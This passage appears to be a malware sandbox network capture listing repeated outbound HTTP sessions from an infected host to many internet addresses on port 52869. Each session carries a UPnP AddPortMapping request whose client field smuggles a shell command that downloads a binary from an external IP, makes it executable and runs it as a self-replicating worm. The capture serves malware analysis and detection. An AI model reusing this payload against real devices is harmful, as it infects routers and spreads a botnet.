selfrep.rt`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.15	47418	17.198.192.63	52869

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.089912891 CEST	989	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf bulol; wget http://15.235.203.214/bolonetwork.x86 -O bulol; chmod 777 bulol; ./bulol selfrep.rt`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.15	45158	220.239.248.79	52869

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.093477964 CEST	989	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf bulol; wget http://15.235.203.214/bolonetwork.x86 -O bulol; chmod 777 bulol; ./bulol selfrep.rt`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.15	46692	5.162.60.136	52869

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.096301079 CEST	989	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf bulol; wget http://15.235.203.214/bolonetwork.x86 -O bulol; chmod 777 bulol; ./bulol selfrep.rt`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.15	41758	89.171.240.248	52869

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.100414038 CEST	989	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf bulol; wget http://15.235.203.214/bolonetwork.x86 -O bulol; chmod 777 bulol; ./bulol selfrep.rt`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.15	32838	220.55.101.199	52869

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.103625059 CEST	989	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf bulol; wget http://15.235.203.214/bolonetwork.x86 -O bulol; chmod 777 bulol; ./bulol selfrep.rt`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.15	60776	61.146.90.23	52869

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.106884956 CEST	989	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf bulol; wget http://15.235.203.214/bolonetwork.x86 -O bulol; chmod 777 bulol; ./bulol selfrep.rt`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.15	58256	24.231.54.99	52869

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.109561920 CEST	989	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf bulol; wget http://15.235.203.214/bolonetwork.x86 -O bulol; chmod 777 bulol; ./bulol selfrep.rt`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.15	52890	155.186.2.88	52869

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.114530087 CEST	989	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf bulol; wget http://15.235.203.214/bolonetwork.x86 -O bulol; chmod 777 bulol; ./bulol selfrep.rt`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.15	48566	65.58.210.176	52869

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.117974997 CEST	989	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf bulol; wget http://15.235.203.214/bolonetwork.x86 -O bulol; chmod 777 bulol; ./bulol selfrep.rt`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.15	38068	17.96.206.10	52869

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.122107983 CEST	989	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf bulol; wget http://15.235.203.214/bolonetwork.x86 -O bulol; chmod 777 bulol; ./bulol selfrep.rt`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.15	38250	131.159.98.164	52869

Timestamp	Bytes transferred	Direction	Data
